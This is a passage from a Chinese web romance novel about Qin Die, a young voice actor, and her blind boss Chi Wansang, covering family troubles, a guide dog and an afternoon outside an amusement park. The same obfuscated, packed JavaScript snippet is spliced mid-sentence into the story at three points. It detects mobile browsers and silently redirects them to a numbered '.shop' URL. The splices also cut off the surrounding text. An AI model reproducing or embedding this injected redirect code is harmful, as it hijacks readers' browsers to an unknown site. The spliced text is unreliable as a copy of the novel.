秦叠心里有些不是滋味,这些年,真是将一个人的性格完全颠覆了。 身后的架子有一本《了不起的盖茨比》,比平常的书厚了不知道多少倍,狐疑间,她自言自语地拿下来。 翻开却通篇是她看不懂的凹凸字符。 全是盲文。 门口的池晚桑听见,惭愧地说:“这些都是盲文书,不过我刚失明没几年,还不太看得懂。” “这样啊。”秦叠咬着下唇,小心地将书给放了回去。 秦叠接过医药箱,自己清理完伤口,瞥见池晚桑早上慌忙间乱贴的创口贴,装作不经意地问了句: “你腿上这个创口贴该换了吧,我帮你换。” “不……”不用麻烦还没说出口,秦叠也是不容拒绝地直接上手。 “你贴得位置有点歪,可能会扯疼,你忍一下。” “好。” 死皮连带血丝被粘胶黏住,顺带着撕下来了些,秦叠都起了一身鸡皮疙瘩,可抬头看面前的人,乖巧地坐着,脸上波澜不惊,似乎撕下来的不是他的肉。 为了分散他的注意力,秦叠半开玩笑说:“看见你家里有健身器材,池老板锻炼的不错,有腹肌吗?” 开起玩笑来毫无分寸,这才是她。 池晚桑忽然被撩,不知如何应对,秦叠只觉氛围不对,慌乱间猛地撕开那剩下半截,带出丝丝血肉。 池晚桑嘴角微不可察地抽动了半分,还是忍住了。 刚整理好,秦叠肚子好死不死,不争气地呜咽几声,在安静得落针可闻的房间里,异常清晰。 连岫白听见后,都看热闹不嫌事大的样子,叫唤两声,似在应答。 下午在工作室她就走得匆忙,池晚桑在公园遇见她的时候没有问哭的缘由,想来是没有吃晚饭。 池晚桑眼角流出淡淡笑意:“饿了吗?吃点东西再走?” “不麻烦不麻烦了。”秦叠慌忙伸手拉池晚桑,再过来蹭顿饭,她真的脸皮就太厚了。 却因为紧张,用力过猛,而池晚桑也没料到她会突然拉自己,被牵引着往这边倒来。 妈呀。 秦叠要疯了。 她伸手一揽,将池晚桑摔倒的位置从地上转移到这边沙发,她可不想第一次来别人家,就把别人弄成重伤昏迷。 浓郁的木质香迅速靠近,高大的身影如此脆弱,竟在瞬间崩塌,堪堪向她倒来。秦叠一揽,一推,池晚桑刚好倒在她怀里。 手臂上一阵温热。 秦叠手臂被压在他身下,男人身上肌肉紧实,这样被压着可真是…… 太疼了! 秦叠连忙把手抽出来,连声抱歉:“对不起,对不起,我不是故意的。” “失明之后的平衡感会差些,以后还要麻烦你多注意不要突然拉我。” 池晚桑声音也有些虚,被这天翻地覆给吓了一跳,还躺在沙发上,像个受惊的羊羔。 继而,他翻身下去,走向灶台。 “不麻烦的,苏木他们也经常来我这儿蹭饭,今天还得多亏了你,我就简单做个面,垫垫肚子。” “那我来帮你。” 早知如此,何必当初! “不用,你现在有其他事情干。” “什么?”秦叠继续装傻。 池晚桑挽起袖口,细白的手部线条向上延展,如同一只仙鹤,超群独立,洁净不染。 “刚才你护着我的时候,橙汁不是倒了吗?杯子没有砸在地上的声音,就是砸你身上了。” 果然,不能欺负别人看不见就撒谎嘴硬,报应一个也不会少…… “沙发上是刚买的T恤,苏木说是灰色的,你换上吧,可以洗一洗,厕所就在……” “知道了知道了,什么都没瞒过你。”秦叠有些赧然,没找到灰色的T恤却看到一个新的粉色宽松版街头风T恤,一时有些哽咽。 这不是明摆着欺负别人嘛,秦叠思索再三,还是决定不戳穿这个美好的谎言。毕竟他穿的太素了,在路上不显眼,容易被撞。 路过岫白的时候,秦叠忽然觉得这一定是她挑战的开始,竟温和地蹲下摸了摸它的头。 “好狗。” 浴室装修也是极简,梳妆台上为数不多的洗护用品都极其规整地摆放在同一位置。 秦叠关上门,深呼一口气。 看着镜子里通红的脸,不禁自惭形秽,本来是她求婚来着,怎么搞成了这幅娇羞模样。 她用力搓搓脸不再发呆。 沐浴露是好闻的栀子花香,秦叠放回去的时候,脚下一滑,吓得她表演了三十秒单人平衡木,才将将站住。 可沐浴露却没放到位置上,“嘭”地一声掉落在地上。 然而就在此时,门把手转动了。 岫白以零出错率,精准地听见了浴室的动向,迅速判断,果断开门“营救”。 起猛了,起猛了。 在别人家洗澡怎么能忘记反锁呢。 “啊——” 厕所传来一阵惨叫。 “发生什么事了吗?岫白,过来!” 池晚桑停下手里的动作,定定站着,听秦叠的动向。 “岫白会开门是怕我在房间里摔倒,你没事吧?” “没事没事。” 他看不见的,看不见的,秦叠通身已经红成了一个大苹果。 屏气凝神半刻,听见外面继续做饭切菜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460830|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动静,秦叠蹑手蹑脚地走过去。 没想到今天被一只拉布拉多给非礼了,如此坦诚相见,实在辣眼。 门口悄悄露出一只光洁的手臂,还带着没冲洗干净的泡沫,捏住门把手,旁若无人地关了回去。 什么都没有发生过。 面已经端上桌,秦叠出来的时候,池晚桑也有些不自然,端坐在桌旁,双手放在腿上,一动不动。 像个受罚挨骂的幼儿园小朋友。 听见她出来,干涩地问了声:“洗,洗完了?” 让客人在家里洗澡,也着实是他考虑不周。 “嗯。” “趁热吃,不然坨了。” 简单的清汤挂面,放了一个煎蛋,半个西红柿,还有油麦菜,颜色搭配上都足以引起人的食欲。 秦叠果断翻篇,大刀阔斧地享用起来。今天下午是真的没怎么吃。 抬眼间,忽然觉得这个厨房的配色有些熟悉,心电急转,想起关注的那个博主,随即她开口问道:“池老板的厨房布局我好像在哪里见过,有什么学问吗?” “没什么学问,装修的时候,楼上楼下的邻居帮忙参考的。开放式厨房,大家都装的差不多。” 难道博主也住这里?世界真是一个村。 秦叠血液都用来品尝美食,完全没留给大脑思考的空间,狠狠吸溜一声:“嗯,太好吃了,池老板的手艺果真是好!” “我看旁边的架子上有很多薛简言的专辑,你是他的粉丝吗?” “是,以前上大学的时候经常听,这几年听得少了些。” 上大学的时候…… 秦叠忽然发现她错过了池晚桑最痛苦的时候,竟是他的大学时期。 少年初出茅庐,畅享纵剑江湖,却被现实给击得粉碎。 那个时候刚失明,还能成功毕业,是付出了多少,又承受了多少。 不能让话题继续忧伤,秦叠将话头转移到自己身上。 “哈哈哈,我们家以前满墙也是海报,不过不是明星,全是我哥的寻人启事。刚不见那阵子,整个家像是被掏空了似的,只剩下行尸走肉在生活。我好像是个透明的存在,甚至不存在都无所谓。” 似乎很想和他倾诉,即使彼此都在隐瞒。秦叠不由自主多说了些。 “你刚不是问我哥哥丢了有什么感受吗?我那会儿会假装这件事情没有发生,过了段时间还没找到,爸妈在客厅吵架,我就会在日记里偷偷想象他过的是什么日子。” “当时有个人倒是一直在我身边,但是我没告诉他我们家到底有多乱多糟。而且我那时也叛逆,得到的奖状从来不拿回去,半路上就被我撕个粉碎,因为我觉得反正也没人会在意。我是不是还挺难管的?哈哈哈哈哈哈。” 秦叠吐吐舌头,做无奈状。腿上旧伤有些痒,习惯性伸手多去扣了一阵,这么久了,竟然还没痊愈。 池晚桑脸上没有表情,像是在认真聆听,又似乎神游天外。 因为,他曾经也悄悄干过一件事。 跟在曾经的秦柔桑后面,等她将奖状撕碎踩烂,愤愤而去。悄悄上前捡起一地碎渣,然后在自己书桌上用透明胶拼成原来的模样。 这件事,他还没有告诉任何人。 他静静地,谨慎地听,生怕错过一点细节,想从这声音中抓取一丝熟悉,却和梦里的那个稚嫩的声音难以重叠。还有萦绕着白雾茫茫,快要忘记的身影。 池晚桑自己都没察觉他捏成拳的的手指已经快嵌入掌心。 以为池晚桑累了,秦叠又舍不得这口清爽劲道的碳水,火速埋头炫完收拾干净,跟他道别离开。 今晚上没有一整晚流落街头,还不错。 她看向自家的楼层,刚好关上灯,准备入睡。 那就做个好梦吧,她回头看了眼身后的三楼,池晚桑也是。 而池晚桑“盯着”门口的方向,眉间似积起不散的乌云: 你,到底是谁? 11. episode11 半夜三更,秦叠无处可去。姑娘家家,一个人游荡在在黢黑的街道,想不让危险发生都难。 她拢了拢身上的衣裳,蹲在路灯下打算玩手机到天亮了直接去工作室。 却先打开的美食博主没有更新视频,又随手翻开一本网文打发时间。 好巧不巧文章开头就是一个可怜巴巴的流□□孩,半夜无处可去,路过一件破屋,点亮一盏烛灯,以为这样便能护得了自身周全,却未曾想到“灯下黑”这个词。 敌在暗,我在明,只听闻周遭窸窣声快速移动,围绕她成圆圈状逐渐收拢。 窗户忽然打开,阴风熄灭红烛,她的脚被一只异常冰冷的手紧紧攥住…… 秦叠猛然退出,头顶灯光闪烁不定,再多几只飞蛾,定能废了这破灯。 忽然远处岔路口哼哼唧唧走来一群二不挂五的人,一看就在附近酒馆喝了个痛快,不省人事后沿街大闹。 人在暗处,她看不清形势。 “诶?前面还有一个女的!” 秦叠面色铁青,转身就走,脚下动作越来越快,后面的声音却没跟上来。 其中一人胃里怕是翻江倒海,走了没几步,正扶着秦叠刚才靠着的路灯狂呕不止,其余人也没精力追秦叠,蹲在他旁边嘴里叨叨还说着什么,不一会儿情绪陡转急下,几个大男人狼狈地蹲在一摊呕吐物旁,竟放声大哭起来,哭声震天。还好周围多是写字楼,不然非得被举报了不可。 秦叠边溜边感叹:现在人,压力太大了,唉~ 找了间24小时候营业的快餐店,虚浮的脚步才终于落到实处,秦叠点了杯饮料和炸鸡,坐在窗边呆呆望着外面。 虽是傍晚十一二点,墨蓝色天幕下,城市喧嚣的灯火似乎还没有冷静的意思。有的人还没睡,有的人却已经起床,套上工作服,开始他的工作。 她无聊地打开myeyes,想着此时怕不会有人需要帮助,自嘲着正要关闭,忽然收到一个视频邀请。 “老瞎子” 这个名字…… 倒是让她想起之前的小瞎子。 “您好?听得见吗?” 听声音,像是一个年迈的老头,语气轻快,甚至带着些顽皮。 “可以,请问需要我帮什么吗?” 秦叠将耳机话筒靠近嘴巴,尽力减小声音。 “可以陪陪老头子聊天吗?第一次用这个,不知道可不可以。” 像是个老顽童。 “这么晚了,爷爷您不睡吗?” “嗐,瞎子眼里,一天到晚都是黑的,早不知道什么时候该睡,什么时候该醒了。小姑娘这么晚也不睡,专门帮助失眠盲人啊?” 像是才弄明白,此时镜头一转,对准一张不算苍老的脸。头发大部分是黑色的,银色发丝夹杂其中,更带有些挑染的不羁意味。 老爷爷还在玩弄手机,摄像头就对准他的脸,死亡角度直拍,不过从他梳得一丝不苟的发型,还有五官里透出年轻时候的傲气,长得应该不错。 只是,他的眼睛和池晚桑一样,没有焦距。 “我也睡不着。”秦叠若有似无叹了口气,她哪是睡不着,她是没法睡,忧郁地看了眼面前的炸鸡,咔嚓咬下去一口。 清脆响声,酥脆口感,听声音似乎可以想象油脂在唇齿间崩裂,丝丝润滑,鲜香美味的口感。这让视频那头的人有些坐不住了,老头子咽下口水,试探地问:“这么晚了,还吃宵夜呢?” “是炸鸡吗?能不能给我来一份?” 这人倒是有趣,比起之前的小瞎子,不仅没有丝毫提防,反而将自己暴露无疑,面对视频对面从未谋面的陌生人,倒像是相识多年的挚友。 秦叠没有拒绝,坑坑巴巴说:“好,好啊。” 老爷爷见有戏,连忙报出自己住址,是城郊的一座养老院。 他还专门吩咐让外卖员不要走正门,在西侧的栅栏和他会面,他姓黎。 秦叠考虑老年人的牙口和油腻程度,给老爷爷点了份外卖。于是对面人的精神头更来劲了,问东问西的,说他周围不是老人,就是盲人,想了解年轻人的世界都没办法。 秦叠于是有问必答,反正闲来无聊,将自己平日里喜欢做的事情,喜欢吃的东西都讲给他听,虽说两人年龄差距巨大,但丝毫不影响这对忘年之交的沟通。 这位黎爷爷说自己可喜欢听广播剧,简直是盲人的福音,优秀的配音演员能让听众如临其境,感同身受,让他黑洞洞的世界多了几分色彩。 他没想到秦叠直接暴露自己也打算做配音演员,女孩心思纯洁,与他畅聊也逐渐卸下防备,最后还约着后面去看望他,说这叫线下面基。 聊了将近一小时才挂断,没想到外婆的电话不失时机地插.进来了。 这些老年人,可真能熬啊。 “你爸妈去找你了?怎么样了?你那住得下吗?他们为难你没有啊?” 一接通就是夺命连环问,外婆显然是才知道这个消息,便急忙赶来关心自己孙女。 “放心吧外婆,来都来了,就这样呗。不过我给你说啊,我今天第一天入职,你猜我遇见谁了?池晚桑,就是咱家隔壁那个池家的儿子!” 八卦永远是转移话题的高手,如果转移不了,只能说明还不够劲爆。 果然,对面楞了瞬,回道:“怎么不记得,你们之前关系还挺好的吧,之后跟着你那不省事的爸妈搬家,就没听你提起过了。” “不过我记得,他好像失明了?” 秦叠猛地抬眼,声音也有些抖动:“外婆,你知道?怎么没和我说过呢?” “哎哟,年纪大了哪儿记得那么多东西给你说。他好像是出车祸了,就你高考那几天。你也没问,我以为你们闹矛盾没联系了。” 什么东西轰的一声在秦叠脑中炸开,她不是没偷偷想过当时池晚桑不联系她的原因,可当事实真真切切摆在面前,又颤抖着不敢揭开这层面纱。 她僵硬在座位上,声音都有些不像自己的,“发生什么事了?” “嗯,就是他爸爸不是玩摩托嘛,他刚从大学回来,带着儿子溜达一圈,就出了事了。然后好像他妈妈就带着他弟弟改嫁了,也难怪,大儿子再聪明能干,两眼一抹黑,什么都不中用了。还是你纪婆婆没有放弃他。” 记忆里纪婆婆和秦叠外婆关系很好,所以高中再遇见池晚桑,没有秦东柏的情况下,他们才能这么快熟络起来。 “那后来呢?” “后来,他们祖孙两都不怎么出门了,每回还是能听见隔壁传来钢琴的声音。有一回我去敲门探望他们,就看见他一个人孤零零地坐在琴键旁边,阳光照在身上都没有一丝温度,你纪婆婆也憔悴地紧了,说是她孙子还不太能见人,我就没咋去了。现在没想到又去连阳工作了,他干什么的?弹钢琴吗?这小子当年确实弹得不错。” “跟我一样,做配音的。”秦叠没说他是自己老板这荒谬的缘分。 “哦哦,配音也不错,小子从小声音就好,每回你要背课文都嚷着让他先读一遍……” 考虑到外婆确实该睡了,这回换做秦叠喋喋不休地将老婆婆哄上床去,听见钻进被子,关灯的声音,才挂了电话。 秦叠此时也已经哈欠连天,看着空无一人的店铺,只有柜台边一个服务员偷摸打瞌睡,不自觉地也合上千斤重的眼皮。 手机震动,群消息。 妈妈:【你家都快成水帘洞了,你快回来!】 妈妈:【楼下的人骂上来,你爸气不过和人争执了两句,对面说要报警。】 于是秦叠急忙剔下骨头上最后一块肉,将就擦了擦嘴就往回跑。 房子还没找到,这一个可不能让他们给祸害掉了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460831|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶到时,双方迟迟没有报警,只是嘴里威胁的言论越发激烈,邻居见是秦叠回来了,拉住她就求一个说法。 秦叠气还没喘匀,看见房间里漂浮的纸片和桌椅,心里是又堵又气。 早就说了头发和纸巾不能扔进下水道! “阿姨,事情我都知道了,这件事情确实是我们的问题,明天,我叫师傅来疏通,您合理的赔偿需求,我一定满足。今天晚上你看都这么晚了,也没有办法,在这儿吵得邻居都来看笑话也不好是不是?” 那顶着一头方便面卷发,眼罩挂在头顶的阿姨剜了秦叠一眼,但认错态度不错,和面前两人吵也吵累了,闹到公安局谁也讨不了好,似百般不情愿地应下。 秦叠于是抖擞抖擞精神,看着房内一片狼藉,吐出长长一口气。 开干吧,不收拾,光吵架,解决不了任何事情。 于是一顿操作下来,天已经蒙蒙亮,窗户上布满的灰尘透过晨光已经模糊可见,三人一言不发倒下,勉强做一个梦。 梦里秦东柏被顺利找回来,和他们和好如初,秦叠也不再被逼着回去结婚,她还带着池晚桑治好了眼睛。 童话的结局。 再醒来腰酸背痛,她还是请了假,前一天晚上秦叠完成了白天都难以企及的运动量,实在是有些疲乏。 不过主要是还得陪爸妈去找秦东柏,不撞南墙不回头。 琴:【池老板,很抱歉刚入职就要请假,今天家里实在是有些事情脱不开身,给您添麻烦了。】 桑:【好。】 他转头对陈藻说:“今天秦叠请假,你缺的那部分女声先暂时留着。” 陈藻挑了挑眉,难得池老板对配音演员旷工有这么大的容忍度,之前苏木请假开同学会,听说池老板半夜还守在配音棚,非让他把白天欠的给补回去。 不敢多想,陈藻点头说了声好。 此时门口不意外地,未见其人先闻其声,苏木激动地推门而入,“晚桑,池子,我亲爱的池老板,你出息了。” “片方昨天剪的一个宣传视频里加了一句你的台词,你你你的微博粉丝暴涨三位数,这是什么易红体质啊。” 池晚桑对他的话毫无兴趣,微博本也是他们自娱自乐创立的。 苏木刻意模仿剧里池晚桑的声音:“也好,杀了我,你再自尽,我也不担心你一个人在这世上了。” 为爱痴狂,疯癫反派,抓狂示爱,瞬间抓住听众的耳朵。 沈桉羽也激动地乱跳,虽说工作室没人卷天卷地,但作为配音演员,得到大众的喜欢谁不想要,她也沉声模仿池晚桑: “住嘴,做人要低调,一点小成绩你就得意忘形了?” 林桐进门跟着惊呼,“天哪,池老板,好多人发邮件到工作室,点名要你去配,不过得先面试一下。其中不乏一些大制作啊,这回我们站起来了!” “呜呼!”一片惊呼声中,池晚桑淡然地说了声:“我不去。” 音量虽小,却沉稳地可怕,在工作室回荡,给人一丝反驳的机会都没有,让所有人瞬间冻在原地。 他从来不想露太多面,性格使然,他和苏木合开的这间工作室,分明是他的声音占了优势,出资比例也最大,苏木却是头牌。 他不想再一次次被人指指点点,因为眼睛的问题,怀疑自身的能力。 气氛一时凝滞,沈桉羽此时出声问了句:“秦叠人呢?” 陈藻也感受到氛围不对,摘下耳机,小声回道:“这几天她家里好像事儿还挺多。” 池晚桑沉默了瞬,想起什么,说:“嗯,这种三天打鱼两天晒网的员工,我们工作室不能养。” 老板开口,温度降到冰点,这池晚桑莫不是吃错药了,忽然冷漠得不似常人。 苏木小心接通电话,扭扭捏捏地朝池晚桑指了指:“池晚桑,黎叔说他想吃炸鸡。” 12. episode12 不出所料,秦叠和爸妈按照新闻里的住址找到秦东柏现在住的地方,却连家门都没进去。 她分明听见了里面的电视声响,却死活没有人来开门。 她觉得可能是惠熙一上来就哭天喊地地说“儿啊,妈妈来了。”把人给吓的。 可按照夫妻俩的性子,不至于这么无功而返,便在门口靠坐着一件一件地掰着手指头数秦东柏小时候的故事。 数的是上下左右的邻居都探出头来看是谁家的显眼包,最后把小区物业和保安都给数来了,可面前的门仍旧纹丝不动。 看着似乎和墙壁粘在一起的铁门,秦叠在想,血缘不过也是虚无缥缈的东西,除了感恩带给自己的存在,根本比不上日积月累的情感积淀。 一事不成,夫妻俩却没有善罢甘休的意思,这次来连阳,还要把包工头欠的钱给要回来,风风火火又是一趟行程。 这几天天热,想必还得再在秦叠家蹭几天的空调。 “欠多少钱?你们还有钱吗?” “一万块劳务费,今天高低得收回去一些东西。没零钱了,给我点搭公交的零钱。”惠熙一把抹去额头的汗珠,要强的性子和秦时一模一样。 公交车上,秦时收到了秦叠外婆的电话,接通后劈头盖脸就是一顿臭骂,庄稼人声音大,秦时在车上就和秦叠外婆吵架一样,引得人人避之不及。 “我老了,管不动你们了,但是我告诉你们,别去祸害我外孙女。哎哟,我这身子也越来越不行,记性越来越差,腰酸背痛没个人照顾,你们两个白眼狼不回来,是要看着我死吗?” 老人家这是威逼利诱齐上,警告的同时不忘卖惨,孝字当头,打定了主意要与二人捆死在一起。 “知道了妈,秦东柏那个白眼狼不出来见我们,我们先去找包工头把欠的钱拿了,不说了。” 秦时将手机揣回兜里,公交车急刹,两人没拉稳,堪堪向前撞去,在公交上滚了半圈,好不狼狈。惠熙急得满身是汗,此时竟有一丝恍惚。 这么些年,他们的所有希望都寄托在儿子身上,如今却连面也见不着,另一边的女儿被忽视久了,感情淡了,现在连欠的工资也要不回来。 怎么这么难啊。 秦叠没有跟他们一起走,这边偏郊区,土地价格便宜,修建了很多公园,养老院,游乐场等服务设施。 她还没去过游乐场,左右假已经请了,不去白不去。 可到了门口,她就望而却步了,人山人海的队伍,弯曲成无数道褶,大人带小孩,情侣一起的,全家总动员……她得出一个结论:真^&*%赚钱啊。 在游乐场周边找了个人少的地方,秦叠席地而坐,头顶过山车带着一车人的尖叫飞驰而去,远处大摆锤和跳楼机上鬼哭狼嚎。 喊得她一身鸡皮疙瘩,可能选择不去排队也是明智之举。 人总的给自己找点快乐的事儿干,秦叠想起还没告诉导师自己的选择,坐在树荫下编辑文字: 【教授,非常感谢您一直为我留着这个位置,我觉得再读三年能更好提升专业能力,感谢您没有放弃我。】 不一会儿消息就回来了,对方很满意:【想好了就行,以后加油啊!】 又来一条:【记得把学费交了。】 秦叠放下手机,抬头看向天上几朵悠闲的云,飞鸟掠过,自岿然不动,保持自己节奏,不紧不慢地飘着。天空蔚蓝如洗,头顶榆树叶翠绿,微笑不自觉就爬上嘴角。 生活还是挺不错的。 Myeyes软件上又接着几个求助视频。秦叠靠在老榆树粗糙的树皮上,帮一个男人分辨了口罩的正反面,看他的鞋子脏没脏,他今天要出门晒太阳。 她还帮一个小孩子找到了插座在哪里,他今年准备备考大学的特殊教育专业。 最后接到的一通求助是一个准备出去约会的女孩,让她帮忙看看口红涂好没有。 秦叠隔着手机屏幕,一会儿左一会儿右地指挥,还好没出岔子。 “周四快乐哦,我出门了,谢谢你陌生人!” 女孩很幸福,捎带着将笑容传递到秦叠的脸上。 生活的暴雨将他们折断之后,仍然顽强地等待在阳光下长出枝丫,而她暂时和别人交替地为他们撑起一把伞,免收雷暴的侵蚀,她也觉得心中涌起一股暖意,身体轻飘飘的,似乎可以随云飘走。 飘到一半忽然看见一个人,将她重重拉回地面。 池晚桑? 他怎么在这儿。 岫白走在他前面,慢慢穿过人群的缝隙,一人一狗配合默契,加上池晚桑本就淡定从容的模样,以为这是只普通的宠物犬也不足为怪。 秦叠准备视而不见,明知他看不见,却还是心虚地埋下头玩手机。 然后岫白正正停在秦叠的面前,漆黑圆亮的眼睛滴溜溜看向她,满是欣喜。 顿觉不妙,秦叠伸出食指挡在嘴前,她可不能让池晚桑看见自己请假的员工是来游乐场玩的。 “怎么了岫白?”池晚桑察觉了岫白的异样。 但秦叠越是吹胡子瞪眼让岫白安静,岫白越激动,哈气的频率加快,尾巴在后面快摇成了电扇,开心地“汪”了两声。 完了。 “池老板,你也在这儿啊,好巧。” 秦叠艰难地开口,眼睛密切关注池晚桑的神情。 “我,我可以解释。” 池晚桑听出了她的声音,粲然一笑,“是你啊,我来给人送炸鸡,你不是家里有事吗?” “唉,实话给你说,我不是有个哥哥之前丢了嘛,现在找到了。只不过,他不肯见我。今天就是为这事儿请假的。” 秦叠看了眼热得不行的岫白,往树荫里挪了挪,“吃冰淇淋吗?” 池晚桑也有些热,拉着秦叠伸过来的手,循着她的引导坐下。 “不用跟我解释,谢谢。” 游乐场外是小商小贩的聚集地,池晚桑坐在原位,耳边有风过林梢的窸窣声,小贩叫卖声,孩子吵闹着要买东西的哭闹。还闻得见烧烤的油烟味,水果茶的清香,臭豆腐的重口味,还有冰淇淋…… “给你买的原味的,呐。” 秦叠把冰淇淋塞在他手里。 池晚桑以前说等她高考结束,就带她来游乐场玩。隔了这么久,两人竟然还能平静地坐在游乐场外面吃冰淇淋。 “池老板,我问你个问题。” “嗯。” “你作为一个男生的角度,你觉得男生会知道自己被别人暗恋吗?” “会的吧,除非神经真的很大条。” “那如果有个人,关系本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“呐,这是一个硬币,现在在我手上,看仔细喽。” 池晚桑用力一晃,手里的硬币消失不见,引得小姑娘连连惊讶,表示好厉害,好帅气,好喜欢。 池晚桑装模作样在小女孩脖子后面一捞,“啊,原来在这里。” 一顿操作下来,逗得小孩子拍手叫好,她此时又发现了旁边的“庞然大物”岫白,好奇地蹲过去看。 “这是导盲犬。”秦叠此时也并不再怕岫白,主动揉了揉它的头。 岫白被捏得舒服,懒洋洋怕在地上,半眯着眼睛晒太阳。 “它的尾巴在摇。哥哥你看它的尾巴在摇!” 岫白的黑色尾巴像个雷达一样,似乎故意在小姑娘面前炫耀。而小女孩成功被吸引注意力,高兴地合不拢嘴。 此话一出,秦叠和池晚桑都楞了两秒。 她只觉得空气在那一瞬间被抽干了,心脏也停止了跳动,她满眼惊恐地看向池晚桑。 但他只是作惋惜状,埋头轻嗤了声,声音温柔地如刚剥壳的鸡蛋般顺滑,却卸下所有盔甲,只余这声叹息。 “我,看不见。” 他的唇角还微笑着。 13. episode13 “你知道肯德基在哪里吗?” 小女孩对导盲犬似乎有很深的误解,用小胖手在岫白头上摸了摸,认真问道。 秦叠笑着在女孩鼻子上轻刮一下,“导盲犬的作用是避障,不是导航。” “哦。”女孩似乎有些失望。 好像是听出了女孩口气中的沮丧,池晚桑道:“不过,它跟了我这么些年,应该知道。” 女孩又被鼓舞了般,眼睛里满是崇敬地看向池晚桑,张着嘴吧有些发现新大陆的不可思议,一蹦一跳地回自家摊位上,想把这个“不可思议的魔法”告诉爸爸。 池晚桑好像还想说什么,问:“小朋友?” 半晌无人回应后,反应过来什么,语气里竟也有些失落。 “小朋友走了是吧?” 秦叠不想让他太尴尬:“小孩子天性好动,兴奋劲儿一下子就过了。” 天空忽然下起一阵太阳雨,两人就躲在树下,聆听雨落的声音,不消一会儿,天那边便升起一弯彩虹。 秦叠有些激动,正想指给池晚桑看,抬手指着彩虹,转过头来却忽然闭了嘴。 “雨停了。”池晚桑淡淡道。 “对。” 笑容在秦叠脸上,眼眶忽然有些湿润,她放下手撇过头去。 可是瞒不住的,人类对自然的奇观有不会湮灭的热情,不一会儿旁边稀稀拉拉有人在讨论今天的彩虹。 因为是双彩虹,像一对情人,相互依偎,历经磨难和风雨,在云端彼此守护。 “有彩虹,岫白。”池晚桑显然听见了,嘴角不自觉爬上笑意,似乎是自己亲眼看见了般。 “它在看吗?” 后一句是对秦叠说的,秦叠将不情不愿的狗头掰过去,“嗯,在看,它很喜欢。” 秦叠事情败露,下午乖乖跟着池晚桑回了工作室,大家中午都还在休息,关了灯,暗沉沉一片。 可她总觉得今天氛围不太对。 池晚桑推开门,将岫白夹在身后和墙壁间,保护秦叠的感受,示意她进去。 秦叠路过他时,他沉沉开口,为了不打扰到其他人,悄声在她耳畔轻语:“实习期过了,能留下来,我就将岫白换个位置。” 这嗓音,怎么听的人脸红心跳,秦叠也悄声急忙回应: “不用不用,我现在和岫白已经和解了,没关系的。” 池晚桑没接话,将岫白放在门口的狗窝,一个人悄悄地走进黑暗的房间里,一言不发。 秦叠记得他小时候是怕黑的,特别他外公去世那年,总说晚上会看见外公,纪婆婆就在池晚桑面前张牙舞爪地挥舞手中鸡毛掸子,将小男孩护在怀里,朝黑暗里喊“老头子,知道你外孙怕黑,就不要来看他,悄悄看吧啊!” 后来据说池晚桑再没见过他外公。 不过现在他一辈子就处于黑暗里,出不来了,秦叠不知道他曾经有多害怕。 外婆说事故的原因是池晚桑爸爸带着儿子去骑摩托车,出了车祸。 记忆中的池叔叔是所有小孩幻想的酷爸爸,头发永远烫得蓬松,偶尔还会染上红绿蓝色,在家长会很扎眼的存在。池晚桑小时候就经常坐在他摩托车后座,从校门口飞驰而过,惹得好多人羡慕。 为这些事,他爸妈没少吵架,但池叔叔是站在池晚桑这一边的,秦叠并不讨厌他。 只不过没想到他童年为数不多的甜蜜,竟成为了一生的痛苦。 秦东柏还在的时候,他们三个经常一起爬树摸鱼,池晚桑和秦东柏常打赌,输了的人就偷偷在秦叠的手机里存一张自己的照片。 于是秦叠经常很无语地在相册发现秦东柏没有刮胡子的油腻自拍,还有池晚桑半眯着眼刷牙生无可恋的照片。 介于这些照片观感确实不太好,秦叠和池晚桑约架没少约,依她小时候的身手,对付瘦瘦弱弱的池晚桑,谁输谁赢还真不一定。 不过池晚桑一直以闭关修炼,拒绝出战罢了。 有一回,秦东柏被人堵在天台,池晚桑上去就是一顿开揍,等秦叠赶到的时候,事情都解决的差不多了。她扶着楼梯扶手,有些吃惊地看着对面鼻青脸肿的一群人,又顿顿地看向池晚桑。 他歪头,眼睛朝对面的人一瞥,语气淡漠如冰,一脸痞气,“他们欺负你哥,要报仇吗?” 那是秦叠头一回打架,虽说师出有名,但却没人还手,打得她有些不自然,给了两拳便悻悻地退回池晚桑身边,扶着秦东柏,活像个狗腿子般快速瞥了眼池晚桑,严肃道:“打完了。” “嘭”的一声,回忆掉进现实,秦叠恍然看向沙发上躺得七横八纵的四人,沉睡如猪。 随即上前敲开池晚桑办公室的门,“池老板,没事吧?” “没事。” 可秦叠看见的可不是没事,杯子掉落在地上,洒出一滩水渍,不远处还有一个MP3,刚才显然是这些东西掉落的声音。 秦叠转头离开,过了会儿进门时,池晚桑正在地上摸索掉落的MP3,听见开门声,语气冷硬:“又来干什么。” 秦叠也执拗地走过去,将MP3捡起,掰开池晚桑攥成拳的手,塞进去。 肌肤触碰到时,似乎他瑟缩了瞬。秦叠直接开口: “池老板,这里有水,让一下,我拖干净就走。” 她就这样闯进池晚桑的办公室,和当年不打招呼闯进他家一样自然,又不容拒绝。 